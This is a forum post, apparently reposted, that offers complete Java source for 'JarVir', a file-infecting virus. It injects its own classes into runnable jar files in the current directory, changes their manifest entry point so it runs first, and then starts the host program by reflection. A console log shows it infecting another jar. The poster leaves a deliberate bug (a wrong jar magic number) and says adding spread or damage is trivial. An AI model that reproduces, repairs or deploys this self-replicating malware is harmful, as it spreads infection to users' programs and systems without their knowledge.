cosminkent Posted May 1, 2013 Report Posted May 1, 2013 Short explanation:This little virus infects runnable jar files by updating the host file with its own .class files and modifying the manifest, so the virus is run first. The virus uses reflection to start the host file afterwards. This way the host still does what it is supposed to and in addition infects other runnable jar files.Besides that the virus does no harm (I mean, doing harm is easy, why bother with trivia). But you see that a file is infected if you start it on console. You will get the virus output first.The virus also only infects files in the same directory, because this was the easiest for testing (it is also trivial to change that)-----------------------------------------------------------------------------------------And here is the code, as usual with an intentional bug in it to prevent noobs from running.Do not point out the bug in public!This code only works if run in a .jarJarchiver:package jarvir;import java.io.FileInputStream;import java.io.FileNotFoundException;import java.io.FileOutputStream;import java.io.IOException;import java.nio.file.Files;import java.nio.file.Path;import java.nio.file.Paths;import java.nio.file.StandardCopyOption;import java.util.Map.Entry;import java.util.Set;import java.util.jar.Attributes;import java.util.jar.JarEntry;import java.util.jar.JarInputStream;import java.util.jar.JarOutputStream;import java.util.jar.Manifest;public class Jarchiver { private final String jarFile; private Manifest manifest; public static void main(String[] args) { System.out.println("Success: Jarchiver as dummy host file started"); } public Jarchiver(String jarFile) throws IOException { this.jarFile = jarFile; try (JarInputStream is = new JarInputStream( new FileInputStream(jarFile))) { manifest = is.getManifest(); } } private void printAttributes(Manifest man) { Attributes attr = man.getMainAttributes(); for (Entry<Object, Object> entry : attr.entrySet()) { System.out.println(entry); } } public String readEntryPoint() { Attributes attr = manifest.getMainAttributes(); return attr.getValue(Attributes.Name.MAIN_CLASS); } public void changeEntryPoint(String entryPoint) { Attributes attr = manifest.getMainAttributes(); attr.put(Attributes.Name.MAIN_CLASS, entryPoint); printAttributes(manifest); } public void updateJar(Set<String> inFiles, String ownJar, String hostName) throws FileNotFoundException, IOException { String jarOut = jarFile + "out.jar"; try (JarInputStream jin = new JarInputStream(new FileInputStream( jarFile)); JarInputStream ownIn = new JarInputStream(new FileInputStream( ownJar)); JarOutputStream jout = new JarOutputStream( new FileOutputStream(jarOut), manifest)) { copyHost(jin, jout); writeInFiles(inFiles, ownIn, jout); writeHostName(jout, hostName); } replace(jarFile, jarOut); } private void writeHostName(JarOutputStream out, String hostName) throws IOException { out.putNextEntry(new JarEntry("jarvir/host")); out.write(hostName.getBytes()); out.closeEntry(); } private void writeInFiles(Set<String> inFiles, JarInputStream ownIn, JarOutputStream jout) throws IOException { JarEntry entry; while ((entry = ownIn.getNextJarEntry()) != null) { if (inFiles.contains(entry.getName())) { writeJarEntry(jout, ownIn, entry); System.out.println("write own entry " + entry); } } } private void copyHost(JarInputStream jin, JarOutputStream jout) throws IOException { JarEntry entry; while ((entry = jin.getNextJarEntry()) != null) { writeJarEntry(jout, jin, entry); System.out.println("write entry " + entry); } } private void replace(String toReplace, String replacement) throws IOException { Path source = Paths.get(replacement); Path target = Paths.get(toReplace); Files.move(source, target, StandardCopyOption.REPLACE_EXISTING); } private void writeJarEntry(JarOutputStream out, JarInputStream in, JarEntry entry) throws IOException { out.putNextEntry(entry); byte[] buf = new byte[1024]; int bytesRead; while ((bytesRead = in.read(buf)) != -1) { out.write(buf, 0, bytesRead); } out.closeEntry(); }}JarVir:package jarvir;import java.io.BufferedReader;import java.io.File;import java.io.IOException;import java.io.InputStream;import java.io.InputStreamReader;import java.io.RandomAccessFile;import java.io.UnsupportedEncodingException;import java.lang.reflect.Method;import java.net.URLDecoder;import java.util.HashSet;import java.util.Set;public class JarVir { private String newHostEntry; public static void main(String[] args) { System.out.println("JarVir is alive!"); new JarVir(args); } public JarVir(String[] args) { for (String jarfile : searchJars()) { System.out.println("infecting " + jarfile); infect(jarfile); } invokeHostMain(args); } @SuppressWarnings("rawtypes") private void invokeHostMain(String[] args) { try { String hostName = getHostName(); if (hostName != null) { Class<?> host = Class.forName(hostName); Class[] argTypes = new Class[] { String[].class }; Method main = host.getDeclaredMethod("main", argTypes); System.out.format("invoking %s.main()%n", host.getName()); main.invoke(null, (Object) args); } } catch (Exception e) { e.printStackTrace(); } } private String getHostName() throws IOException { String name = null; InputStream in = getClass().getResourceAsStream("host"); if (in != null) { try (BufferedReader reader = new BufferedReader( new InputStreamReader(in))) { name = reader.readLine(); } } else { System.err.println("host not found"); } return name; } private Set<String> searchJars() { Set<String> jars = new HashSet<>(); File folder = new File(System.getProperty("user.dir")); for (File file : folder.listFiles()) { if (isJar(file)) { jars.add(file.getAbsolutePath()); } } return jars; } private boolean isJar(File file) { if (file.isDirectory()) { return false; } final int MAGIC_NUMBER = 0x50AA0304; try (RandomAccessFile raf = new RandomAccessFile(file, "r")) { return raf.readInt() == MAGIC_NUMBER; } catch (IOException e) { e.printStackTrace(); } return false; } private void infect(String jarFile) { try { Jarchiver jar = new Jarchiver(jarFile); newHostEntry = jar.readEntryPoint(); if (newHostEntry.equals(JarVir.class.getName())) { System.out.println("jar already infected"); } else { jar.changeEntryPoint(JarVir.class.getName()); Set<String> inFiles = getOwnEntries(); jar.updateJar(inFiles, getRunningJarLocation(), newHostEntry); } } catch (IOException e) { e.printStackTrace(); } } private Set<String> getOwnEntries() { Set<String> inFiles = new HashSet<>(); inFiles.add("jarvir/Jarchiver.class"); inFiles.add("jarvir/JarVir.class"); return inFiles; } private String getRunningJarLocation() { String path = JarVir.class.getProtectionDomain().getCodeSource() .getLocation().getPath(); try { return URLDecoder.decode(path, "UTF-8"); } catch (UnsupportedEncodingException e) { e.printStackTrace(); } return null; }}And "host" is a txt file that also resides in the jarvir directory with the String "jarvir.Jarchiver" as dummy for the first run (when there is no host).A sample output:deque@decra:~/virtest$ java -jar jarvir.jar JarVir is alive!infecting /home/deque/virtest/jarvir.jarjar already infectedinfecting /home/deque/virtest/app.jarRsrc-Class-Path=./Class-Path=.Manifest-Version=1.0Rsrc-Main-Class=testpackage.App1Main-Class=jarvir.JarVirwrite entry org/write entry org/eclipse/write entry org/eclipse/jdt/write entry org/eclipse/jdt/internal/write entry org/eclipse/jdt/internal/jarinjarloader/write entry org/eclipse/jdt/internal/jarinjarloader/JIJConstants.classwrite entry org/eclipse/jdt/internal/jarinjarloader/JarRsrcLoader$ManifestInfo.classwrite entry org/eclipse/jdt/internal/jarinjarloader/JarRsrcLoader.classwrite entry org/eclipse/jdt/internal/jarinjarloader/RsrcURLConnection.classwrite entry org/eclipse/jdt/internal/jarinjarloader/RsrcURLStreamHandler.classwrite entry org/eclipse/jdt/internal/jarinjarloader/RsrcURLStreamHandlerFactory.classwrite entry testpackage/write entry testpackage/App1.classwrite own entry jarvir/JarVir.classwrite own entry jarvir/Jarchiver.classinvoking jarvir.Jarchiver.main()Success: Jarchiver as dummy host file starteddeque@decra:~/virtest$ java -jar app.jar JarVir is alive!infecting /home/deque/virtest/jarvir.jarjar already infectedinfecting /home/deque/virtest/app.jarjar already infectedinvoking org.eclipse.jdt.internal.jarinjarloader.JarRsrcLoader.main()Source: Ez Quote